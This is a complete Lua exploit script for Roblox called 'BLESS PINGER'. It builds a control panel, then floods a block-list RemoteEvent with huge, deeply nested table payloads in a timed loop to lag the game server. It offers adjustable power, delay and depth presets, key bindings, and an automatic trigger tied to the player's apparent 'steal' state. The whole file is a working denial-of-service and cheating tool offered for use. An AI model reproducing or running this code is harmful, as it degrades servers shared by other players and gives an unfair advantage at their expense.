local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local CoreGui = game:GetService("CoreGui") local plr = Players.LocalPlayer if CoreGui:FindFirstChild("BlessPingerGui") then CoreGui.BlessPingerGui:Destroy() end local screen = Instance.new("ScreenGui") screen.Name = "BlessPingerGui" screen.ResetOnSpawn = false screen.DisplayOrder = 15 screen.Parent = CoreGui local CONFIG_FILE = "BlessPingerConfig.json" local DEFAULT_NIVELES = { v1 = { power = 100000, delay = 0.125, depth = 186, label = "Low" }, v2 = { power = 72000, delay = 0.09, depth = 186, label = "Mid" }, v3 = { power = 43000, delay = 0.05, depth = 186, label = "High" }, } local NIVELES = {} for k, v in pairs(DEFAULT_NIVELES) do NIVELES[k] = { power = v.power, delay = v.delay, depth = v.depth, label = v.label } end local cfg = { keybindKb = "M", keybindGp = "ButtonR2", nivelActual = "v1", autoEnable = true, backgroundEnabled = true, } local laggerActive = false local listeningFor = nil local loopTask = nil local remote = nil local lastStealState = nil local refreshSettingsUI = nil local function resolveKb(name) if not name or name == "" or name == "None" then return nil end local ok, val = pcall(function() return Enum.KeyCode[name] end) return (ok and val) or nil end local function saveConfig() pcall(function() local levels = {} for k, v in pairs(NIVELES) do levels[k] = { power = v.power, delay = v.delay, depth = v.depth } end writefile(CONFIG_FILE, HttpService:JSONEncode({ KeybindKb = cfg.keybindKb, KeybindGp = cfg.keybindGp, NivelActual = cfg.nivelActual, AutoEnable = cfg.autoEnable, BackgroundEnabled = cfg.backgroundEnabled, Levels = levels, })) end) end local function loadConfig() if pcall(isfile, CONFIG_FILE) and isfile(CONFIG_FILE) then pcall(function() local data = HttpService:JSONDecode(readfile(CONFIG_FILE)) cfg.keybindKb = data.KeybindKb or "M" cfg.keybindGp = data.KeybindGp or "ButtonR2" cfg.nivelActual = data.NivelActual or "v1" cfg.autoEnable = data.AutoEnable ~= nil and data.AutoEnable or true cfg.backgroundEnabled = data.BackgroundEnabled ~= nil and data.BackgroundEnabled or true if type(data.Levels) == "table" then for k, v in pairs(data.Levels) do if NIVELES[k] and type(v) == "table" then NIVELES[k].power = tonumber(v.power) or NIVELES[k].power NIVELES[k].delay = tonumber(v.delay) or NIVELES[k].delay NIVELES[k].depth = tonumber(v.depth) or NIVELES[k].depth end end end end) end end loadConfig() local C = { bg = Color3.fromRGB(7, 8, 11), panel = Color3.fromRGB(10, 11, 15), card = Color3.fromRGB(16, 17, 23), purp1 = Color3.fromRGB(92, 74, 255), purp2 = Color3.fromRGB(132, 92, 255), purp3 = Color3.fromRGB(190, 166, 255), blue1 = Color3.fromRGB(52, 106, 255), blue2 = Color3.fromRGB(72, 156, 255), white = Color3.fromRGB(246, 247, 250), dim = Color3.fromRGB(143, 146, 160), green = Color3.fromRGB(79, 232, 150), red = Color3.fromRGB(255, 91, 116), waiting = Color3.fromRGB(255, 194, 88), inputBg = Color3.fromRGB(8, 9, 13), } local T = { bg = 0.52, panel = 0.42, card = 0.50, header = 0.34, inputBg = 0.40 } local function applyGradient(parent, c1, c2, rotation) local g = Instance.new("UIGradient", parent) g.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0,c1), ColorSequenceKeypoint.new(1,c2) }) g.Rotation = rotation or 135 return g end local function tw(obj, props, t) TweenService:Create(obj, TweenInfo.new(t or 0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), props):Play() end local function makeDraggable(frame) local dragging, dragStart, startPos frame.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 or i.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = i.Position startPos = frame.Position i.Changed:Connect(function() if i.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(i) if dragging and (i.UserInputType == Enum.UserInputType.MouseMovement or i.UserInputType == Enum.UserInputType.Touch) then local d = i.Position - dragStart frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y) end end) end local MAIN_W, MAIN_H = 236, 136 local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.new(0, MAIN_W, 0, MAIN_H) mainFrame.Position = UDim2.new(0.5, -MAIN_W/2, 0.5, -MAIN_H/2) mainFrame.BackgroundColor3 = C.bg mainFrame.BackgroundTransparency = T.bg mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Parent = screen Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 16) applyGradient(mainFrame, C.bg, Color3.fromRGB(12, 11, 18), 145) local mainStroke = Instance.new("UIStroke", mainFrame) mainStroke.Color = Color3.fromRGB(87, 76, 140) mainStroke.Thickness = 1.15 mainStroke.Transparency = 0.22 local mainGlow = Instance.new("Frame", mainFrame) mainGlow.Name = "AmbientGlow" mainGlow.Size = UDim2.new(1, 10, 1, 10) mainGlow.Position = UDim2.new(0, -5, 0, -5) mainGlow.BackgroundTransparency = 1 mainGlow.BorderSizePixel = 0 mainGlow.ZIndex = 0 Instance.new("UICorner", mainGlow).CornerRadius = UDim.new(0, 19) local mainGlowStroke = Instance.new("UIStroke", mainGlow) mainGlowStroke.Color = C.purp2 mainGlowStroke.Thickness = 6 mainGlowStroke.Transparency = 0.9 local bgImage = Instance.new("ImageLabel", mainFrame) bgImage.Name = "BackgroundImage" bgImage.Size = UDim2.new(1, 0, 1, 0) bgImage.Position = UDim2.new(0, 0, 0, 0) bgImage.BackgroundTransparency = 1 bgImage.BorderSizePixel = 0 bgImage.Image = "rbxassetid://128392339249001" bgImage.ScaleType = Enum.ScaleType.Crop bgImage.ImageTransparency = 0.08 bgImage.ZIndex = 1 Instance.new("UICorner", bgImage).CornerRadius = UDim.new(0, 16) local bgShade = Instance.new("Frame", mainFrame) bgShade.Name = "BackgroundShade" bgShade.Size = UDim2.new(1, 0, 1, 0) bgShade.Position = UDim2.new(0, 0, 0, 0) bgShade.BackgroundColor3 = Color3.fromRGB(8, 8, 12) bgShade.BackgroundTransparency = 0.58 bgShade.BorderSizePixel = 0 bgShade.ZIndex = 1 Instance.new("UICorner", bgShade).CornerRadius = UDim.new(0, 16) local function updateBackgroundVisibility() bgImage.Visible = cfg.backgroundEnabled bgShade.Visible = cfg.backgroundEnabled end updateBackgroundVisibility() makeDraggable(mainFrame) local header = Instance.new("Frame", mainFrame) header.Size = UDim2.new(1,0,0,36) header.BackgroundColor3 = C.card header.BackgroundTransparency = T.header header.BorderSizePixel = 0 header.ZIndex = 2 Instance.new("UICorner", header).CornerRadius = UDim.new(0,16) applyGradient(header, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0) local headerFill = Instance.new("Frame", mainFrame) headerFill.Size = UDim2.new(1,0,0,10) headerFill.Position = UDim2.new(0,0,0,26) headerFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18) headerFill.BackgroundTransparency = T.header headerFill.BorderSizePixel = 0 headerFill.ZIndex = 2 applyGradient(headerFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0) local titleLbl = Instance.new("TextLabel", header) titleLbl.Size = UDim2.new(1,-104,0,15) titleLbl.Position = UDim2.new(0,24,0,5) titleLbl.BackgroundTransparency = 1 titleLbl.Text = "BLESS PINGER" titleLbl.TextColor3 = C.white titleLbl.Font = Enum.Font.GothamBlack titleLbl.TextSize = 11 titleLbl.TextXAlignment = Enum.TextXAlignment.Left titleLbl.ZIndex = 3 local brandDot = Instance.new("Frame", header) brandDot.Size = UDim2.new(0,6,0,6) brandDot.Position = UDim2.new(0,10,0,10) brandDot.BackgroundColor3 = C.purp3 brandDot.BorderSizePixel = 0 brandDot.ZIndex = 4 Instance.new("UICorner", brandDot).CornerRadius = UDim.new(1,0) local brandDotStroke = Instance.new("UIStroke", brandDot) brandDotStroke.Color = C.blue2 brandDotStroke.Thickness = 2 brandDotStroke.Transparency = 0.5 local subtitleLbl = Instance.new("TextLabel", header) subtitleLbl.Size = UDim2.new(1,-104,0,9) subtitleLbl.Position = UDim2.new(0,24,0,20) subtitleLbl.BackgroundTransparency = 1 subtitleLbl.Text = "NETWORK CONTROL" subtitleLbl.TextColor3 = C.dim subtitleLbl.Font = Enum.Font.GothamMedium subtitleLbl.TextSize = 6 subtitleLbl.TextXAlignment = Enum.TextXAlignment.Left subtitleLbl.ZIndex = 3 local statusPill = Instance.new("Frame", header) statusPill.Size = UDim2.new(0,44,0,18) statusPill.Position = UDim2.new(1,-80,0.5,-9) statusPill.BackgroundColor3 = Color3.fromRGB(12, 13, 18) statusPill.BackgroundTransparency = 0.04 statusPill.BorderSizePixel = 0 statusPill.ZIndex = 3 Instance.new("UICorner", statusPill).CornerRadius = UDim.new(0,7) local statusStroke = Instance.new("UIStroke", statusPill) statusStroke.Color = Color3.fromRGB(69,71,86) statusStroke.Thickness = 1 statusStroke.Transparency = 0.35 local statusLbl = Instance.new("TextLabel", statusPill) statusLbl.Size = UDim2.new(1,0,1,0) statusLbl.BackgroundTransparency = 1 statusLbl.Text = "OFF" statusLbl.TextColor3 = C.red statusLbl.Font = Enum.Font.GothamBlack statusLbl.TextSize = 8 statusLbl.ZIndex = 4 local settingsEmojiBtn = Instance.new("TextButton", header) settingsEmojiBtn.Size = UDim2.new(0,26,0,26) settingsEmojiBtn.Position = UDim2.new(1,-31,0.5,-13) settingsEmojiBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18) settingsEmojiBtn.BackgroundTransparency = 0.02 settingsEmojiBtn.BorderSizePixel = 0 settingsEmojiBtn.AutoButtonColor = false settingsEmojiBtn.Text = "⚙️" settingsEmojiBtn.TextColor3 = C.white settingsEmojiBtn.Font = Enum.Font.GothamBlack settingsEmojiBtn.TextSize = 13 settingsEmojiBtn.ZIndex = 23 Instance.new("UICorner", settingsEmojiBtn).CornerRadius = UDim.new(0,8) local settingsBtnStroke = Instance.new("UIStroke", settingsEmojiBtn) settingsBtnStroke.Color = Color3.fromRGB(69,71,86) settingsBtnStroke.Thickness = 1 settingsBtnStroke.Transparency = 0.3 local activateBtn = Instance.new("TextButton", mainFrame) activateBtn.Size = UDim2.new(1,-20,0,34) activateBtn.Position = UDim2.new(0,10,0,44) activateBtn.BackgroundColor3 = C.card activateBtn.BackgroundTransparency = T.card activateBtn.BorderSizePixel = 0 activateBtn.AutoButtonColor = false activateBtn.Text = "" activateBtn.ZIndex = 3 Instance.new("UICorner", activateBtn).CornerRadius = UDim.new(0,10) local activateGrad = applyGradient(activateBtn, Color3.fromRGB(73, 56, 211), Color3.fromRGB(121, 75, 238), 0) local activateStroke = Instance.new("UIStroke", activateBtn) activateStroke.Color = C.purp3 activateStroke.Thickness = 1 activateStroke.Transparency = 0.24 local activateLbl = Instance.new("TextLabel", activateBtn) activateLbl.Size = UDim2.new(1,0,1,0) activateLbl.BackgroundTransparency = 1 activateLbl.Text = "ACTIVATE" activateLbl.TextColor3 = C.white activateLbl.Font = Enum.Font.GothamBlack activateLbl.TextSize = 11 activateLbl.ZIndex = 5 local startLagger, stopLagger local levelOrder = { "v1", "v2", "v3" } local levelBtns = {} local btnContainer = Instance.new("Frame", mainFrame) btnContainer.Size = UDim2.new(1, -20, 0, 30) btnContainer.Position = UDim2.new(0, 10, 0, 88) btnContainer.BackgroundTransparency = 1 btnContainer.ZIndex = 5 local btnW = math.floor((MAIN_W - 20 - 12) / 3) local function refreshLevelVisuals() for key, b in pairs(levelBtns) do local selected = (cfg.nivelActual == key) local stroke = b:FindFirstChildOfClass("UIStroke") if selected then b.BackgroundColor3 = Color3.fromRGB(30, 27, 48) b.BackgroundTransparency = 0.42 b.TextColor3 = C.white if stroke then stroke.Color = C.purp3 stroke.Thickness = 1.25 stroke.Transparency = 0.05 end else b.BackgroundColor3 = C.card b.BackgroundTransparency = 0.62 b.TextColor3 = C.dim if stroke then stroke.Color = Color3.fromRGB(56, 58, 70) stroke.Thickness = 1 stroke.Transparency = 0.25 end end end end for i, key in ipairs(levelOrder) do local b = Instance.new("TextButton", btnContainer) b.Size = UDim2.new(0, btnW, 1, 0) b.Position = UDim2.new(0, (i - 1) * (btnW + 6), 0, 0) b.BackgroundColor3 = C.card b.BackgroundTransparency = 0.62 b.BorderSizePixel = 0 b.Text = NIVELES[key].label b.TextColor3 = C.dim b.TextSize = 9 b.Font = Enum.Font.GothamBlack b.AutoButtonColor = false b.ZIndex = 6 Instance.new("UICorner", b).CornerRadius = UDim.new(0, 9) local st = Instance.new("UIStroke", b) st.Color = Color3.fromRGB(56, 58, 70) st.Thickness = 1 st.Transparency = 0.25 b.MouseButton1Click:Connect(function() cfg.nivelActual = key refreshLevelVisuals() if refreshSettingsUI then refreshSettingsUI() end saveConfig() if laggerActive then startLagger() end end) levelBtns[key] = b end refreshLevelVisuals() local SET_W, SET_H = 244, 362 local settingsFrame = Instance.new("Frame") settingsFrame.Name = "SettingsPanel" settingsFrame.Size = UDim2.new(0,SET_W,0,SET_H) settingsFrame.Position = UDim2.new(0.5,-SET_W/2,0.5,-SET_H/2) settingsFrame.BackgroundColor3 = C.panel settingsFrame.BackgroundTransparency = T.panel settingsFrame.BorderSizePixel = 0 settingsFrame.ClipsDescendants = true settingsFrame.Visible = false settingsFrame.ZIndex = 20 settingsFrame.Parent = screen Instance.new("UICorner", settingsFrame).CornerRadius = UDim.new(0,16) applyGradient(settingsFrame, C.panel, Color3.fromRGB(13, 12, 19), 145) local setStroke = Instance.new("UIStroke", settingsFrame) setStroke.Color = Color3.fromRGB(87, 76, 140) setStroke.Thickness = 1.15 setStroke.Transparency = 0.22 local settingsAccent = Instance.new("Frame", settingsFrame) settingsAccent.Size = UDim2.new(1, -30, 0, 2) settingsAccent.Position = UDim2.new(0, 15, 0, 0) settingsAccent.BorderSizePixel = 0 settingsAccent.BackgroundColor3 = C.purp3 settingsAccent.ZIndex = 30 Instance.new("UICorner", settingsAccent).CornerRadius = UDim.new(1, 0) applyGradient(settingsAccent, C.purp3, C.blue2, 0) makeDraggable(settingsFrame) local setHeader = Instance.new("Frame", settingsFrame) setHeader.Size = UDim2.new(1,0,0,36) setHeader.BackgroundColor3 = C.card setHeader.BackgroundTransparency = T.header setHeader.BorderSizePixel = 0 setHeader.ZIndex = 21 Instance.new("UICorner", setHeader).CornerRadius = UDim.new(0,16) applyGradient(setHeader, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0) local setHeaderFill = Instance.new("Frame", settingsFrame) setHeaderFill.Size = UDim2.new(1,0,0,10) setHeaderFill.Position = UDim2.new(0,0,0,26) setHeaderFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18) setHeaderFill.BackgroundTransparency = T.header setHeaderFill.BorderSizePixel = 0 setHeaderFill.ZIndex = 21 applyGradient(setHeaderFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0) local setTitle = Instance.new("TextLabel", setHeader) setTitle.Size = UDim2.new(1,-70,0,15) setTitle.Position = UDim2.new(0,14,0,5) setTitle.BackgroundTransparency = 1 setTitle.Text = "Settings" setTitle.TextColor3 = C.white setTitle.Font = Enum.Font.GothamBlack setTitle.TextSize = 11 setTitle.TextXAlignment = Enum.TextXAlignment.Left setTitle.ZIndex = 22 local setSubtitle = Instance.new("TextLabel", setHeader) setSubtitle.Size = UDim2.new(1,-70,0,9) setSubtitle.Position = UDim2.new(0,14,0,20) setSubtitle.BackgroundTransparency = 1 setSubtitle.Text = "PRESET & INPUT SETTINGS" setSubtitle.TextColor3 = C.dim setSubtitle.Font = Enum.Font.GothamMedium setSubtitle.TextSize = 6 setSubtitle.TextXAlignment = Enum.TextXAlignment.Left setSubtitle.ZIndex = 22 local setCloseBtn = Instance.new("TextButton", setHeader) setCloseBtn.Size = UDim2.new(0,26,0,26) setCloseBtn.Position = UDim2.new(1,-31,0.5,-13) setCloseBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18) setCloseBtn.BackgroundTransparency = 0.02 setCloseBtn.BorderSizePixel = 0 setCloseBtn.AutoButtonColor = false setCloseBtn.Text = "X" setCloseBtn.TextColor3 = C.white setCloseBtn.Font = Enum.Font.GothamBlack setCloseBtn.TextSize = 11 setCloseBtn.ZIndex = 23 Instance.new("UICorner", setCloseBtn).CornerRadius = UDim.new(0,8) local closeStroke = Instance.new("UIStroke", setCloseBtn) closeStroke.Color = Color3.fromRGB(69,71,86) closeStroke.Thickness = 1 closeStroke.Transparency = 0.3 local inputBoxes = {} local function mkInputRow(yPos, labelText, getValue, onConfirm) local row = Instance.new("Frame", settingsFrame) row.Size = UDim2.new(1,-20,0,34) row.Position = UDim2.new(0,10,0,yPos) row.BackgroundColor3 = C.card row.BackgroundTransparency = T.card row.BorderSizePixel = 0 row.ZIndex = 21 Instance.new("UICorner", row).CornerRadius = UDim.new(0,10) local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18 local lbl = Instance.new("TextLabel", row) lbl.Size = UDim2.new(0.45,0,1,0) lbl.Position = UDim2.new(0,10,0,0) lbl.BackgroundTransparency = 1 lbl.Text = labelText lbl.TextColor3 = Color3.fromRGB(225,227,235) lbl.Font = Enum.Font.GothamBold lbl.TextSize = 10 lbl.TextXAlignment = Enum.TextXAlignment.Left lbl.ZIndex = 22 local box = Instance.new("TextBox", row) box.Size = UDim2.new(0,72,0,24) box.Position = UDim2.new(1,-80,0.5,-12) box.BackgroundColor3 = C.inputBg box.BackgroundTransparency = T.inputBg box.BorderSizePixel = 0 box.Text = tostring(getValue()) box.TextColor3 = C.purp3 box.Font = Enum.Font.GothamBold box.TextSize = 11 box.ClearTextOnFocus = false box.ZIndex = 23 Instance.new("UICorner", box).CornerRadius = UDim.new(0,8) local bs = Instance.new("UIStroke",box); bs.Color=Color3.fromRGB(81,72,128); bs.Thickness=1; bs.Transparency=0.2 box.FocusLost:Connect(function() local n = tonumber(box.Text) if n then onConfirm(n) box.Text = tostring(getValue()) saveConfig() if laggerActive then startLagger() end else box.Text = tostring(getValue()) end end) table.insert(inputBoxes, { box = box, getValue = getValue }) return box end refreshSettingsUI = function() for _, item in ipairs(inputBoxes) do item.box.Text = tostring(item.getValue()) end end local kbBindBtn, gpBindBtn local function updateKbLabels() if kbBindBtn then kbBindBtn.Text = listeningFor == "kb" and "Press..." or (cfg.keybindKb ~= "" and cfg.keybindKb or "None") kbBindBtn.TextColor3 = listeningFor == "kb" and C.waiting or C.purp3 end if gpBindBtn then gpBindBtn.Text = listeningFor == "gp" and "Press..." or (cfg.keybindGp ~= "" and cfg.keybindGp or "None") gpBindBtn.TextColor3 = listeningFor == "gp" and C.waiting or C.purp3 end end local function mkKeybindRow(yPos, labelText, which) local row = Instance.new("Frame", settingsFrame) row.Size = UDim2.new(1,-20,0,34) row.Position = UDim2.new(0,10,0,yPos) row.BackgroundColor3 = C.card row.BackgroundTransparency = T.card row.BorderSizePixel = 0 row.ZIndex = 21 Instance.new("UICorner", row).CornerRadius = UDim.new(0,10) local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18 local lbl = Instance.new("TextLabel", row) lbl.Size = UDim2.new(0.4,0,1,0) lbl.Position = UDim2.new(0,10,0,0) lbl.BackgroundTransparency = 1 lbl.Text = labelText lbl.TextColor3 = Color3.fromRGB(225,227,235) lbl.Font = Enum.Font.GothamBold lbl.TextSize = 10 lbl.TextXAlignment = Enum.TextXAlignment.Left lbl.ZIndex = 22 local bindBtn = Instance.new("TextButton", row) bindBtn.Size = UDim2.new(0,78,0,24) bindBtn.Position = UDim2.new(1,-90,0.5,-12) bindBtn.BackgroundColor3 = C.inputBg bindBtn.BackgroundTransparency = T.inputBg bindBtn.BorderSizePixel = 0 bindBtn.AutoButtonColor = false bindBtn.Font = Enum.Font.GothamBold bindBtn.TextSize = 9 bindBtn.TextColor3 = C.purp3 bindBtn.ZIndex = 23 bindBtn.Text = which == "kb" and cfg.keybindKb or cfg.keybindGp Instance.new("UICorner", bindBtn).CornerRadius = UDim.new(0,8) local bStr = Instance.new("UIStroke",bindBtn); bStr.Color=Color3.fromRGB(81,72,128); bStr.Thickness=1; bStr.Transparency=0.2 bindBtn.MouseButton1Click:Connect(function() listeningFor = (listeningFor == which) and nil or which updateKbLabels() end) if which == "kb" then kbBindBtn = bindBtn end if which == "gp" then gpBindBtn = bindBtn end return bindBtn end local Y = 42 local GAP = 6 mkInputRow(Y, "Power", function() return NIVELES[cfg.nivelActual].power end, function(v) NIVELES[cfg.nivelActual].power = math.clamp(v, 1000, 250000) end); Y = Y + 34 + GAP mkInputRow(Y, "Delay", function() return NIVELES[cfg.nivelActual].delay end, function(v) NIVELES[cfg.nivelActual].delay = math.clamp(v, 0.001, 3) end); Y = Y + 34 + GAP mkInputRow(Y, "Depth", function() return NIVELES[cfg.nivelActual].depth end, function(v) NIVELES[cfg.nivelActual].depth = math.clamp(v, 1, 500) end); Y = Y + 34 + GAP local autoRow = Instance.new("Frame", settingsFrame) autoRow.Size = UDim2.new(1,-20,0,34) autoRow.Position = UDim2.new(0,10,0,Y) autoRow.BackgroundColor3 = C.card autoRow.BackgroundTransparency = T.card autoRow.BorderSizePixel = 0 autoRow.ZIndex = 21 Instance.new("UICorner", autoRow).CornerRadius = UDim.new(0,10) local rs = Instance.new("UIStroke",autoRow); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18 local autoLbl = Instance.new("TextLabel", autoRow) autoLbl.Size = UDim2.new(0.7,0,1,0) autoLbl.Position = UDim2.new(0,10,0,0) autoLbl.BackgroundTransparency = 1 autoLbl.Text = "Auto Enable on Steal" autoLbl.TextColor3 = Color3.fromRGB(225,227,235) autoLbl.Font = Enum.Font.GothamBold autoLbl.TextSize = 10 autoLbl.TextXAlignment = Enum.TextXAlignment.Left autoLbl.ZIndex = 22 local autoBtn = Instance.new("TextButton", autoRow) autoBtn.Size = UDim2.new(0,52,0,24) autoBtn.Position = UDim2.new(1,-62,0.5,-12) autoBtn.BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23) autoBtn.BorderSizePixel = 0 autoBtn.AutoButtonColor = false autoBtn.Text = cfg.autoEnable and "ON" or "OFF" autoBtn.TextColor3 = C.white autoBtn.Font = Enum.Font.GothamBlack autoBtn.TextSize = 9 autoBtn.ZIndex = 23 Instance.new("UICorner", autoBtn).CornerRadius = UDim.new(0,8) autoBtn.MouseButton1Click:Connect(function() cfg.autoEnable = not cfg.autoEnable autoBtn.Text = cfg.autoEnable and "ON" or "OFF" tw(autoBtn, {BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23)}, 0.15) saveConfig() end) Y = Y + 34 + GAP local bgRow = Instance.new("Frame", settingsFrame) bgRow.Size = UDim2.new(1,-20,0,34) bgRow.Position = UDim2.new(0,10,0,Y) bgRow.BackgroundColor3 = C.card bgRow.BackgroundTransparency = T.card bgRow.BorderSizePixel = 0 bgRow.ZIndex = 21 Instance.new("UICorner", bgRow).CornerRadius = UDim.new(0,10) local bgRowStroke = Instance.new("UIStroke",bgRow); bgRowStroke.Color=Color3.fromRGB(54,56,69); bgRowStroke.Thickness=1; bgRowStroke.Transparency=0.18 local bgLbl = Instance.new("TextLabel", bgRow) bgLbl.Size = UDim2.new(0.7,0,1,0) bgLbl.Position = UDim2.new(0,10,0,0) bgLbl.BackgroundTransparency = 1 bgLbl.Text = "Background Image" bgLbl.TextColor3 = Color3.fromRGB(225,227,235) bgLbl.Font = Enum.Font.GothamBold bgLbl.TextSize = 10 bgLbl.TextXAlignment = Enum.TextXAlignment.Left bgLbl.ZIndex = 22 local bgBtn = Instance.new("TextButton", bgRow) bgBtn.Size = UDim2.new(0,52,0,24) bgBtn.Position = UDim2.new(1,-62,0.5,-12) bgBtn.BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23) bgBtn.BorderSizePixel = 0 bgBtn.AutoButtonColor = false bgBtn.Text = cfg.backgroundEnabled and "ON" or "OFF" bgBtn.TextColor3 = C.white bgBtn.Font = Enum.Font.GothamBlack bgBtn.TextSize = 9 bgBtn.ZIndex = 23 Instance.new("UICorner", bgBtn).CornerRadius = UDim.new(0,8) bgBtn.MouseButton1Click:Connect(function() cfg.backgroundEnabled = not cfg.backgroundEnabled bgBtn.Text = cfg.backgroundEnabled and "ON" or "OFF" tw(bgBtn, {BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23)}, 0.15) updateBackgroundVisibility() saveConfig() end) Y = Y + 34 + GAP mkKeybindRow(Y, "Keyboard", "kb"); Y = Y + 34 + GAP mkKeybindRow(Y, "Controller", "gp"); Y = Y + 34 + GAP local settingsOpen = false local function toggleSettings() settingsOpen = not settingsOpen settingsFrame.Visible = settingsOpen if settingsOpen then refreshSettingsUI() settingsFrame.Size = UDim2.new(0, SET_W, 0, 0) tw(settingsFrame, {Size = UDim2.new(0, SET_W, 0, SET_H)}, 0.2) end end settingsEmojiBtn.MouseButton1Click:Connect(toggleSettings) setCloseBtn.MouseButton1Click:Connect(toggleSettings) local function findRemote() local rrs = game:FindFirstChild("RobloxReplicatedStorage") if not rrs then return nil end for _, name in ipairs({ "SetPlayerBlockList", "UpdatePlayerBlockList", "SetBlockList", "UpdateBlockList" }) do local r = rrs:FindFirstChild(name) if r and r:IsA("RemoteEvent") then return r end end for _, c in ipairs(rrs:GetChildren()) do if c:IsA("RemoteEvent") and c.Name:find("Block") then return c end end return nil end local function buildPayload(power, depth) depth = depth or 186 local main = {} local nested = { {} } local current = nested[1] for _ = 1, depth do local n = {} table.insert(current, n) current = n end local maxRep = math.min(math.floor(power / (depth + 2)), 10000) for _ = 1, maxRep do table.insert(main, nested) end return main end stopLagger = function() if loopTask then task.cancel(loopTask) loopTask = nil end end startLagger = function() stopLagger() remote = remote or findRemote() if not remote then return end local params = NIVELES[cfg.nivelActual] local payload = buildPayload(params.power, params.depth) local baseDelay = params.delay loopTask = task.spawn(function() local currentDelay = baseDelay while laggerActive do if not remote then remote = findRemote() task.wait(1) else local ok = pcall(function() remote:FireServer(payload) end) if not ok then currentDelay = math.min(currentDelay * 1.5, 0.5) else currentDelay = math.max(currentDelay * 0.995, baseDelay) end task.wait(currentDelay) end end end) end local function toggleLaggerState(state) laggerActive = state if laggerActive then activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp2), ColorSequenceKeypoint.new(1, C.blue2) }) activateLbl.Text = "ACTIVATED" activateStroke.Color = C.white activateStroke.Transparency = 0 statusLbl.Text = "ON" statusLbl.TextColor3 = C.green tw(statusPill, {BackgroundColor3 = Color3.fromRGB(10, 40, 20)}, 0.2) startLagger() else activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp1), ColorSequenceKeypoint.new(1, C.purp2) }) activateLbl.Text = "ACTIVATE" activateStroke.Color = C.purp3 activateStroke.Transparency = 0.4 statusLbl.Text = "OFF" statusLbl.TextColor3 = C.red tw(statusPill, {BackgroundColor3 = Color3.fromRGB(20, 10, 38)}, 0.2) stopLagger() end end activateBtn.MouseButton1Click:Connect(function() toggleLaggerState(not laggerActive) end) RunService.Heartbeat:Connect(function() if not cfg.autoEnable then lastStealState = nil return end local char = plr.Character if not char then return end local hum = char:FindFirstChild("Humanoid") if not hum then return end local ws = hum.WalkSpeed local hasSteal = (ws >= 10 and ws < 25) if lastStealState == nil then lastStealState = hasSteal return end if hasSteal and not lastStealState then lastStealState = true toggleLaggerState(true) elseif not hasSteal and lastStealState then lastStealState = false toggleLaggerState(false) end end) UserInputService.InputBegan:Connect(function(input, processed) local kc = input.KeyCode if kc == Enum.KeyCode.Unknown then return end if listeningFor then if kc == Enum.KeyCode.Escape then listeningFor = nil updateKbLabels() return end if listeningFor == "kb" then cfg.keybindKb = kc.Name listeningFor = nil updateKbLabels() saveConfig() return end if listeningFor == "gp" then cfg.keybindGp = kc.Name listeningFor = nil updateKbLabels() saveConfig() return end return end if processed then return end local kbEnum = resolveKb(cfg.keybindKb) local gpEnum = resolveKb(cfg.keybindGp) if (kbEnum and kc == kbEnum) or (gpEnum and kc == gpEnum) then toggleLaggerState(not laggerActive) end end) remote = findRemote()